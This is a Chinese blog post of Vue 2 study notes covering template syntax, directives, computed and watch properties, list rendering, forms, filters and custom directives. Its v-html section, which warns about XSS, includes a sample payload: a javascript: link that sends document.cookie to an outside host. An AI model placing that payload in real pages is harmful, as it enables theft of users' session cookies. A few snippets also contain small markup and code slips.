Vue基础及模板语法

Vue简介

Vue是什么？

一套用于构建用户界面的渐进式JavaScript框架

Vue可以自底向上逐层的应用

Vue的特点

采用组件化模式，提高代码复用率、且让代码更好维护。

声明式编码，让编码人员无需直接操作DOM，提高开发效率。

使用虚拟DOM+优秀的Diff算法，尽量复用DOM节点。

初识Vue:
1.想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象；
2.root容器里的代码依然符合html规范，只不过混入了一些特殊的Vue语法；
3.root容器里的代码被称为[Vue模板] ；
4.vue的实例和容器只能一一对应；
5.真实开发中只有一个Vue实例，并且会配合着组件起使用；
6.{{xxx}}中的xxx要写js表达式，且xxx可以自动读取到data中的所有属性；
7.一旦data中的数据发生改变，那么模板中用到该数据的地方也会自动更新；

<body>
    <!-- 准备容器 -->
    <div class="root">
        <h1>hello,{{name.toUpperCase()}},{{address}}</h1>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒
        //创建vue实例
        const x = new Vue({
            el: '.root',//el用于指定当前Vue实例为哪个容器服务，值为css选择器字符串。
            data: {////data中用于存储数据，数据供el所指定的容器去使用。值我们暂时先写成个对 象。
                name: "武汉",
                address: "123"
            }
        })
    </script>
</body>

Vue基础

模板语法

Vue模板语法有2大类:

插值语法:
功能:用于解析标签体内容。
写法: ({xx}}，xxx是js表达式，且可以直接读取到data中的所有属性。
指令语法:
功能:用于解析标签(包括：标签属性、标签体内容、绑定事件.....)。
举例: v-bind:href="xx" 或简写为:href="xxx", xxx同样要写js表达式，且可以直接读取到data中的所有属性。
备注: Vue中有很多的指令，且形式都是: v-????，此处我们只是拿v-bind举个例子。

<body>
    <!-- 准备容器 -->
    <div class="root">
        <h1>hello,{{name.toUpperCase()}},{{address}}</h1>
        <br>
        <!-- v-binf: ====>  :   -->
        <!-- toUpperCase()大写 -->
        <a v-bind:href="url.toUpperCase()">连接</a>
        <a :href="url">连接{{sc.name}}</a>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒
        //创建vue实例
        const x = new Vue({
            el: '.root',//el用于指定当前Vue实例为哪个容器服务，值为css选择器字符串。
            data: {////data中用于存储数据，数据供el所指定的容器去使用。值我们暂时先写成个对 象。
                name: "123",
                address: "武汉",
                url: 'https://www.cnblogs.com/wzx-blog/',
                sc: {
                    name: "huang"
                }
            }
        })
    </script>

</body>

el与data的两种写法

data与el的2种写法

el有2种写法
(1).new Vue时候配置el属性。
(2).先创建Vue实例，随后再通过vm. $mount('#root' )指定e1的值。
data有2种写法
(1).对象式
(2).函数式
如何选择:目前哪种写法都可以，以后学习到组件时，data必须使用函数式，否则会报错。
一个重要的原则:
由Vue管理的函数，一定不要写简头函数，一旦写了箭头函数,this就不再是Vue实例了

<body>
    <!-- 准备容器 -->
    <div id="root">
    </div>

<script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒
        // //创建vue实例
        // new Vue({
        //     el:'#root',//第一种写法
        //     data:{////data中用于存储数据，数据供el所指定的容器去使用。值我们暂时先写成个对象。
        //         name:"123",
        //         address:"武汉"
        //     }

        // })

        // v.$mount("#root")//第二种写法
        new Vue({
            el: '#root',
            //data的第二种写法
            data: function () {
                return {
                    name: 'wuhan'
                }
            }
        })
</script>

</body>

MVVM模型

M:模型(Model) :对应data中的数据
V:视图(View) :模板
VM:视图模型(ViewModel) : Vue实例对象
观察发现:
- data中所有的属性，最后都出现在了vm身上。
- vm身上所有的属性及Vue原型上所有属性，在Vue模板中都可以直接使用。

<body>
    <!-- 准备容器 -->
    <div id="root">
        <h1>学会：{{name}}</h1>
        <h1>学会：{{address}}</h1>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒
        //创建vue实例
        const x = new Vue({
            el: '#root',//el用于指定当前Vue实例为哪个容器服务，值为css选择器字符串。
            data: {//data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成个对象。
                name: "123",
                address: "武汉"
            }
        })
    </script>
</body>

数据代理

Vue中的数据代理:
通过vm对象来代理data对象中属性的操作(读/写)
Vue中数据代理的好处:
更加方便的操作data中的数据
基本原理:
通过Object.defineProperty( )把data对象中所有属性添加到vm上。
为每个添加到vm上的属性，都指定个getter/setter。
在getter/setter内部去操作(读/写) data中对应的属性。

<body>
    <!-- 数据代理:通过一个对象代理对另一个对 象中属性的操作 (读/写)  -->

    <script type="text/javascript">
        let obj = { x: 100 }
        let obj2 = { y: 200 }

        Object.defineProperty(obj2, 'x', {
            get() {
                return obj.x
            },
            set(value) {
                obj.x = value
            }
        })
    </script>
</body>

数据代理Object.defineProperty

<body>
    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒

        let person = {
            name: '张三',
            sex: '男',
            // age:18
        }

        Object.defineProperty(person, 'age', {
            // value:18,
            // enumerable:true,//控制属性是否可以枚举，默认值是false
            // writable:true,//控制属性是否可以被修改，默认值是false
            // configurable:true,//控制属性是否可以被删除，默认值是false

            //当有人读取person的age属性时， get函数就会被调用，且返回值就是age的值
            get() {
                console.log('读取了age属性')
                return number
            },
            //当有人修改person的age属性时，set函 数(setter )就会被调用，且会收到修改的具体值
            set(value) {
                console.log('修改了age属性，且值是', value)
                number = value
            }
        })
    </script>
</body>

vue中的数据代理

<body>
    <!-- 准备容器 -->
    <div id="root">
        <h1>名称：{{name}}</h1>
        <button v-on:click="showInfo">按钮</button>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒

        //创建vue实例
        const x = new Vue({
            el: '#root',
            data: {
                name: "123",
            },
            methods: {
                showInfo(event) {
                    alert('123456')
                }
            }
        })
    </script>
</body>

事件处理

事件的基本使用:

使用v-on:xxx或@xxx绑定事件，其中xxx是事件名;
事件的回调需要配置在methods对象中，最终会在vm.上;
methods中配置的函数，不要用箭头函数!否则this就不是vm了;
methods中配置的函数，都是被Vue所管理的函数，this的指向是vm 或组件实例对象;
@click="demo"和@click=" demo($event)"效果一致，但后者可以传参;

键盘事件

Vue中常用的按键别名:

回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab(特殊，必须配合keydown去使用)
上 => up
下 => down
左 => left
右 => right
Vue未提供别名的按键，可以使用按健原始的key值去绑定，但注意要转为kebab-case(短横线命名)
系统修饰键(用法特殊) :ctrl、alt、shift、meta（win）
- 配合keyup使用:按修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。
- 配合keydown使用:正常触发事件。
也可以使用keyCode去指定具体的按键(不推荐)
Vue. config . keyCodes.自定义键名=键码，可以去定制按键别名

<body>
    <!-- 准备容器 -->
    <div id="root">
        <h1>名称：{{name}}</h1>
        <input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo">
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒

        //创建vue实例
        new Vue({
            el: '#root',
            data: {
                name: "123",

            },
            methods: {
                showInfo(e) {
                    // console.log(e.keycode,e.key) 
                    console.log(e.target.value)//输出文本框框内文本
                },
            }
        })
    </script>
</body>

事件修饰符

Vue中的事件修饰符:（可以连续使用）

prevent:阻止默认事件(常用)
stop:阻止事件冒泡(常用) ;
once: 事件只触发一次(常用);
capture:使用事件的捕获模式;
self:只有event.target是当前操作的元素是才触发事件;
passive:事件的默认行为立即执行，无需等待事件回调执行完毕;

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../Vue.js/vue.js"></script>
    <style>
        .list {
            background-color: aqua;
            width: 100px;
            height: 100px;
            overflow: auto;
        }

        li {
            height: 50px;
        }
    </style>
</head>

<body>
    <!-- 准备容器 -->
    <div id="root">
        <h1>名称：{{name}}</h1>
        <button v-on:click="showInfo">按钮</button>

        <div class="demo1" @click="showInfo">
            <!-- 事件冒泡，弹窗两次 -->
            <button @click="showInfo">按钮</button>
            <!-- 阻止冒泡 -->
            <button @click.stop="showInfo">按钮</button>
        </div>
        <button @click.once="showInfo">按钮</button>

        <ul @scroll="demo" class="list">
            <li>1</li>
            <li>2</li>
            <li>3</li>
            <li>4</li>
            <li>5</li>
        </ul>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒

        //创建vue实例
        new Vue({
            el: '#root',
            data: {
                name: "123",
            },
            methods: {
                showInfo(e) {
                    alert('123456')
                },
                showMsg(msg) {
                    console.log(msg)
                },
                demo() {
                    console.log('555')
                }
            }
        })
    </script>
</body>

计算属性

定义:要用的属性不存在，要通过已有属性计算得来。
原理:底层借助了Objcet.defineproperty方法提供的getter和Isetter.
get函数什么时候执行?
- 初次读取时会执行一次。
- 当依赖的数据发生改变时会被再次调用。
优势:与methods实现相比，内部有缓存机制(复用)，效率更高，调试方便。
备注:
- 计算属性最终会出现在vm上，直接读取使用即可。
- 如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变

插值语法案例

<body>
    <!-- 准备容器 -->
    <div id="root">
        姓：<input type="text" v-model="firstName"><br>
        名：<input type="text" v-model="lastName"><br>
        <!-- 全名：<span>{{firstName + '-' + lastName}}</span> -->
        全名：<span>{{fullName()}}</span>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒
        //创建vue实例
        new Vue({
            el: '#root',
            data: {
                firstName: "张",
                lastName: '三'
            },
            methods: {
                fullName() {
                    console.log('@--fullName')
                    return this.firstName + '-' + this.lastName
                }
            }
        })
    </script>
</body>

计算属性实现

<body>
    <!-- 准备容器 -->
    <div id="root">
        姓：<input type="text" v-model="firstName"><br>
        名：<input type="text" v-model="lastName"><br>
        <!-- 全名：<span>{{firstName + '-' + lastName}}</span> -->
        全名：<span>{{fullName}}</span>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒
        //创建vue实例
        new Vue({
            el: '#root',
            data: {
                firstName: "张",
                lastName: '三'
            },
            computed: {
                fullName: {
                    //get有什么作用?当有人读取fu1lName时，get就会被调用，且返回值就作为fullName的值
                    //get什么时候调用? 1.初次读取fu11Name时  2. 所依赖的数据发生变化时。
                    get() {
                        console.log('get被调用了')
                        // console . log(this) //此处的this是vm
                        return this.firstName + '-' + this.lastName
                    },
                    //get么时候调用?当fullName 被修改时。
                    set(value) {
                        console.log('set', value)
                        const arr = value.split('-')
                        this.firstName = arr[0]
                        this.lastName = arr[1]
                    }
                }
            }
        })
    </script>
</body>

计算属性简写

<body>
    <!-- 准备容器 -->
    <div id="root">
        姓：<input type="text" v-model="firstName"><br>
        名：<input type="text" v-model="lastName"><br>
        <!-- 全名：<span>{{firstName + '-' + lastName}}</span> -->
        全名：<span>{{fullName}}</span>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒

        //创建vue实例
        new Vue({
            el: '#root',
            data: {
                firstName: "张",
                lastName: '三'
            },
            computed: {
                //只读取不修改才能简写
                fullName() {
                    console.log('get被调用了')
                    return this.firstName + '-' + this.lastName
                }
            }
        })
    </script>
</body>

监视属性

监视属性watch:

当被监视的属性变化时，回调函数自动调用，进行相关操作
监视的属性必须存在，才能进行监视!
监视的两种写法:
(1) new Vue时传入watch配置
(2) 通过vm. $watch监视

<body>
    <!-- 准备容器 -->
    <div id="root">
        <h1>今天天气很{{info}}</h1>
        <br>
        <button @click="changeWeather">切换</button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒
        //创建vue实例
        new Vue({
            el: '#root',
            data: {
                isHot: true
            },
            computed: {
                info() {
                    return this.isHot ? '炎热' : '凉爽'
                }
            },
            methods: {
                changeWeather() {
                    this.isHot = !this.isHot
                }
            },
        })
    </script>
</body>

深度监视

<body>
    <!-- 准备容器 -->
    <div id="root">
        <h1>今天天气很{{info}}</h1>
        <br>
        <button @click="changeWeather">切换</button>
        <br>
        <h1>a的值是{{numbers.a}}</h1>
        <button @click="numbers.a++">点击改变a</button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒
        //创建vue实例
        new Vue({
            el: '#root',
            data: {
                isHot: true,
                numbers: {
                    a: 1,
                    b: 1
                }
            },
            computed: {
                info() {
                    return this.isHot ? '炎热' : '凉爽'
                }
            },
            methods: {
                changeWeather() {
                    this.isHot = !this.isHot
                }
            },
            watch: {
                isHot: {
                    immediate: true,//初始化时让handler调用一下
                    //handler什么时候调用?当isHot发生改变时。
                    handler(newValue, oldValue) {
                        console.log('isHot被修改了', newValue, oldValue)
                    },
                    numbers: {
                        handler() {
                            console.log('numbers改变')
                        }
                    }

                },
                // 'numbers.a':{
                //     handler(){
                //         console.log('a改变了')
                //     }
                // },

            }
        })
    </script>
</body>

watch对比computed

computed和watch之间的区别:
computed能完成的功能，watch都可以完成。
watch能完成的功能，computed不一定能完成，例如: watch可以进行异步操作。
两个重要的小原则:
- 所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm或组件实例对象。
- 所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等)，最好写成箭头函数，这样this的指向才是vm或组件实例对象。

姓名案例使用watch实现

<body>
    <!-- 准备容器 -->
    <div id="root">
        姓：<input type="text" v-model="firstName"><br>
        名：<input type="text" v-model="lastName"><br>
        <!-- 全名：<span>{{firstName + '-' + lastName}}</span> -->
        全名：<span>{{fullName}}</span>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒

        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                firstName: "张",
                lastName: '三',
                fullName:'张-三'
            },
            watch:{
                firstName(val){
                    setTimeout(()=>{
                    console.log(this)
                    this.fullName = val + '-' + this.lastName
                    },1000)
                },
                lastName(val){
                    this.fullName = this.firstName + '- '+val
                }
            }
        })
    </script>
</body>

绑定样式

绑定样式:
- class样式
  写法:class="xx" xxx可以是字符串、对象、数组。
  字符串写法适用于:类名不确定，要动态获取。
  对象写法适用于:要绑定多个样式，个数不确定，名字也不确定。
  数组写法适用于:要绑定多个样式，个数确定，名字也确定，但不确定用不用。
- style样式
  :sty1e="{ fontSize: xxx}" 其中xxx是动态值。
  :style="[a,b]"其中a、b是样式对象。

    <!-- 准备容器 -->
    <div id="root">
        <!-- 绑定class样式--字符串写法，适用于:样式的类名不确定，需要动态指定 -->
        <div class="basic" :class="mood" @click="changeMood">{{name}}</div><br><br>
        <!-- 绑定class样式--数组写法，适用于:要绑定的样式个数不确定、名字也不确定 -->
        <div class="basic" :class="classArr">{{name}}</div><br><br>
        <!-- 绑定class样式--对象写法，适用于:要绑定的样式个数确定、名字也确定，但要动态决定用不用 -->
        <div class="basic" :class="classObj">{{name}}</div><br><br>
        <!-- 绑定sty1e样式--对象写法 -->
        <div class="basic" :style="classObj">{{name}}</div><br><br>
        <!-- 绑定sty1e样式--数组写法 -->
        <div class="basic" :style="classArr">{{name}}</div><br><br>
    </div>

条件渲染

条件渲染:

v-if
写法:
- v- if="表达式"
- v-else-if="表达式”
- v-else="表达式"
  适用于:切换频率较低的场景。
  特点:不展示的DOM元素直接被移除。
  注意: v-if可以和:v-else-if、 v-else起使用，但要求结构不能被“打断”。
V-show
写法:
- v-show="表达式”
  适用于:切换频率较高的场景。
  特点:不展示的DOM元素未被移除，仅仅是使用样式隐藏掉
  备注:使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到。

    <!-- 准备容器 -->
    <div id="root">
        <h1>你好！{{name}}</h1>
        <button @click="n++">n+1</button>

        <!-- 使用v-show做条件渲染 -->
        <h1 v-show="false">你好！{{name}}</h1>
        <h1 v-show="1 === 1">你好！{{name}}</h1>
        <!-- 使用v-if做条件渲染 -->
        <h1 v-if="false">你好！{{name}}</h1>
        <h1 v-if="n === 1">你好！{{name}}</h1>
        
        <!-- v-else和v-else-if -->
        <div v-if="n === 1">你好！{{name}}</h1>
        <div v-else-if="n === 2">你好！{{name}}</h1>
        <div v-else="n === 3">你好！{{name}}</h1>

            <!-- v-if与template的配合使用 -->
        <template v-if="n===1">
            <h1>nihao</h1>
            <h2>nihao</h2>
            <h3>nihao</h3>
        </template>
    </div>

列表渲染

基本列表

v-for指令：

用于展示列表数据
语法: v-for="(item, index) in xxx" : key= "yyy"
可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)

    <!-- 准备容器 -->
    <div id="root">

        <!-- 遍厉数组 -->
        <h2>人员列表</h2>
        <ul>
            <li v-for="(p,index) of persons" :key="index">
                {{p.name}} - {{p.age}}
            </li>
        </ul>
        <!-- 遍历对象 -->
        <h2>汽车信息</h2>
        <ul>
            <li v-for="(value,k) of car" :key="k">
                {{k}} - {{value}}
            </li>
        </ul>
        <!-- 遍历字符串 -->
        <h2>测试遍历字符串</h2>
        <ul>
            <li v-for="(char,index) of cstr" :key="index">
                {{char}} - {{index}}
            </li>
        </ul>

        <!-- 遍历指定次数 -->
        <h2>测试遍历指定次数</h2>
        <ul>
            <li v-for="(number,index) of 5" :key="index">
                {{index} - {{number}}
            </li>
        </ul>
    </div>

key的作用与原理

面试题: react、 vue中的key有什么作用? (key的内部原理)

虚拟DOM中key的作用:
key,是虚拟DOM对象的标识，当状态中的数据发生变化时，Vue会根据[新数据]生成[新的虚拟DOM]，
随后Vue进行[新虚拟DOM]与[旧虚拟DOM]的差异比较，比较规则如下:
对比规则:
- 旧虚拟DOM中找到了与新虚拟DOM相同的key:
  ①若虚拟DOM中内容没变，直接使用之前的真实DOM！
  ②若虚拟DOM中内容变了，则生成新的真实DOM，随后替换掉页面中之前的真实DOM。
- 旧虚拟DOM中未找到与新虚拟DOM相同的key
  创建新的真实DOM，随后渲染到到页面。
用index作为key可能会引发的问题:
- 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
  会产生没有必要的真实DOM更新==>界面效果没问题，但效率低。
- 如果结构中还包含输入类的DOM:
  会产生错误DOM更新==>界面有问题。
开发中如何选择key?:
- 最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值。
- 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，用index作为key是没有问题的

<body>
    <!-- 准备容器 -->
    <div id="root">

        <!-- 遍厉数组 -->
        <h2>人员列表</h2>
        <ul>
            <li v-for="(p,index) of persons" :key="index">
                {{p.name}} - {{p.age}}
            </li>
        </ul>

    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒

        //创建vue实例
        new Vue({
            el: '#root',
            data:{
                persons:[
                    {id:'001',name:'张三',age:18},
                    {id:'002',name:'李四',age:19},
                    {id:'003',name:'王五',age:20}
                ]
            }, 
        })
    </script>
</body>

vue监测数据的原理

Vue监视数据的原理:

vue会监视data中所有层次的数据。
如何监测对象中的数据?
- 通过setter实现监视，且要在new Vue时就传入要监测的数据。
  (1).对象中后追加的属性，Vue默认不做响应式处理
  (2).如需给后添加的属性做响应式，请使用如下API:
  Vue.set(target, propertyName/index, value) 或
  Vm.$set(target, propertyName/index, value)
如何监测数组中的数据?
通过包裹数组更新元素的方法实现，本质就是做了两件事:
(1).调用原生对应的方法对数组进行更新。
(2).重新解析模板，进而更新页面。
在Vue修改数组中的某个元素一定要用如下方法:
- 使用这些API:push()、pop()、 shift()、 unshift()、splice()、sort( )、reverse()
- Vue.set() 或 vm.$set( )

特别注意: Vue.set() 和vm.$set() 不能给vm 或 vm的根数据对象添加属性!

收集表单数据

收集表单数据:

若: ,则v-model收集的是value值，用户输入的就是value值。
若: ，则v-model收集的是value值，且要给标签配置value值。
若:

没有配置input的value属性，那么收集的就是checked (勾选or未勾选，是布尔值)
配置input的value属性:
- v- model的初始值是非数组，那么收集的就是checked (勾选or未勾选，是布尔值)
- v-model的初始值是数组，那么收集的的就是value组成的数组
备注: v-model的三个修饰符:
- lazy：失去焦点再收集数据
- number：输入字符串转为有效的数字
- trim：输入首尾空格过滤

<body>
    <!-- 准备容器 -->
    <div id="root">
        <form @submit.prevent="demo">
            <!-- 去掉空格.trim -->
            账号：<input type="text" v-model.trim="userInfo.account"><br><br>
            密码：<input type="password" v-model="userInfo.password"><br><br>
            性别：
            男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
            女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>
            爱好：
            学习<input type="checkbox" v-model="userInfo.hobby" value="study">
            打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
            吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
            <br><br>
            所属校区
            <select v-model="userInfo.city">
                <option value="">选择校区</option>
                <option value="beijing">北京</option>
                <option value="shanghai">上海</option>
                <option value="guangzhou">广州</option>
                <option value="wuhan">武汉</option>
            </select>
            <br><br>
            其它信息：
            <textarea v-model="userInfo.other"></textarea><br><br>
            <input type="checkbox" v-model="userInfo.agree">接受<a href="https://www.cnblogs.com/wzx-blog/">《用户协议》</a>
            <button>提交</button>
        </form>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false//阻止vue启动时的提醒

        //创建vue实例
        new Vue({
            el: '#root',
            data: {
                userInfo: {
                    account: '',
                    password: '',
                    sex: '',
                    hobby: [],
                    city: 'beijing',
                    other: '',
                    agree: '',
                }
            },
            methods: {
                demo() {
                    alert('提交')
                }
            },
        })
    </script>
</body>

过滤器

过滤器:
- 定义：对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
- 语法：
  - 注册过滤器: Vue.filter(name, callback) 或 new Vue{filters:
  - 使用过滤器: {{ xxx | 过滤器名}} 或 v-bind：属性=‘XXX | 过滤器名"
备注:
- 过滤器也可以接收额外参数、多个过滤器也可以串联
- 并没有改变原本的数据，是产生新的对应的数据

<body>
    <!-- 准备容器 -->
    <div id="root">
        <!-- 计算属性实现 -->
        <h2>现在时间是：{{fmtTime}}</h2>
        <!-- methods实现 -->
        <h2>现在时间是：{{getFmtTime}}</h2>
        <!-- 过滤器实现 -->
        <h2>现在时间是：{{time | timeFormater}}</h2>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el: '#root',
            data: {
                time: 1646218712257
            },
            computed: {
                fmtTime() {
                    return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
                }
            },

            methods: {
                getFmtTime() {
                    return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
                }
            },
            filters: {
                timeFormater(value) {
                    return dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
                }
            }
        })
    </script>
</body>

内置指令

常见指令

v-bind ：单向绑定解析表达式，可简写为:XXx
v-model ：双向数据绑定
v- for ：遍历数组/对象/字符串
v-on ：绑定事件监听，可简写为@
v-if ：条件渲染(动态控制节点是否存存在)
v-else ：条件渲染(动态控制节点是否存存在)
v- show ：条件渲染(动态控制节点是否展示)

v-text指令:

作用:向其所在的节点中渲染文本内容。
与插值语法的区别: v-text会替换掉节点中的内容，{{xx}}则不会。

<body>
    <!-- 准备容器 -->
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-text="name"></div>
        <div v-text="str"></div>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el: '#root',
            data: {
                name: '苏槿年',
                str: '<div>你好，</div>'
            },
        })
    </script>
</body>

v-html指令:

作用:向指定节点中渲染包含htm1结构的内容。
与插值语法的区别:
- v-html会替换掉节点中所有的内容，{{xx}}则不会。
- v-html可以识别html结构。
严重注意: v-html有安全性问题! ! ! !
- 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
- 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

<body>
    <!-- 准备容器 -->
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-text="name"></div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el: '#root',
            data: {
                name: '苏槿年',
                str: '<div>你好，</div>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>连接</a>'
            },
        })
    </script>
</body>

v-cloak指令(没有值的）:

本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<body>
    <!-- 准备容器 -->
    <div id="root">
        <h2 v-cloak>{{name}}</h2>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el: '#root',
            data: {
                name:'苏槿年'
            },
        })
    </script>
</body>

v-once指令:

v-once所在节点在初次动态渲染后，就视为静态内容了。
以后数据的改变不会引起v- once所在结构的更新，可以用于优化性能。

<body>
    <!-- 准备容器 -->
    <div id="root">
        <h2 v-once>初始值为：{{n}}</h2>
        <h2 >计算后值为：{{n}}</h2>
        <button @click="n++">点击n+1</button>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el: '#root',
            data: {
                n:'1'
            },
        })
    </script>
</body>

v-pre指令:

跳过其所在节点的编译过程。
可利用它跳过:没有使用指令语法、没有使用插值语法的节点，会加快编译。

<body>
    <!-- 准备容器 -->
    <div id="root">
        <!-- 此时的{{n}}是不会被读取出来的 -->
        <h2 v-pre>初始值为：{{n}}</h2>
        <h2 v-pre>计算后值为：{{n}}</h2>
        <button @click="n++">点击n+1</button>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el: '#root',
            data: {
                n:'1'
            },
        })
    </script>
</body>

自定义指令

自定义指令总结:

定义语法:
- 局部指令: new Vue({ new Vue({
  directives:{指令名:配置对象} 或 directives(){}
  }) })
- 全局指令:
  - Vue. directive(指令名，配置对象) 或 Vue.directive(指令名，回调函数)
配置对象中常用的3个回调:
- bind：指令与元素成功绑定时调用。
- inserted：指令所在元素被插入页面时调用。
- update：指令所在模板结构被重新解析时调用。
备注:
- 指令定义时不加V-，但使用时要加V-;
- 指令名如果是多个单词，要使用kebab-case（连接）命名方式，不要用camelCase（驼峰）命名。

<!-- 需求:定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。 -->
<body>
    <!-- 准备容器 -->
    <div id="root">
        <h1>此时n值为：{{n}}</h1>
        <h2 v-once>初始值为 <span v-text='n'></span></h2>
        <h2>放大10倍后的值是：<span v-big='n'></span></h2>
        <button @click="n++">点击n+1</button>
        <hr />

    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el: '#root',
            data: {
                n: '1',

            },
            directives: {
                big(element, binding) {
                    element.innerText = binding.value * 10
                },
            }
        })
    </script>
</body>

posted @ 2022-02-28 21:46 苏槿年阅读(90) 评论(0) 编辑收藏举报

刷新页面返回顶部

登录后才能查看或发表评论，立即登录或者逛逛博客园首页

相关博文：

· Vue核心知识：computed、methods和watch的区别

· Vue组件文件的注意项

· Vue基础语法 - （老师天禹）

· Vue基础

· 1.Vue核心

阅读排行：
· 阿里最新开源QwQ-32B，效果媲美deepseek-r1满血版，部署成本又又又降低了！
· 单线程的Redis速度为什么快？
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决：字节Trae VS Cursor，谁才是开发者新宠？
· 展开说说关于C#中ORM框架的用法！

公告

昵称：苏槿年
园龄： 3年3个月
粉丝： 8
关注： 1

+加关注

2025年3月

日

一

二

三

四

五

六

苏槿年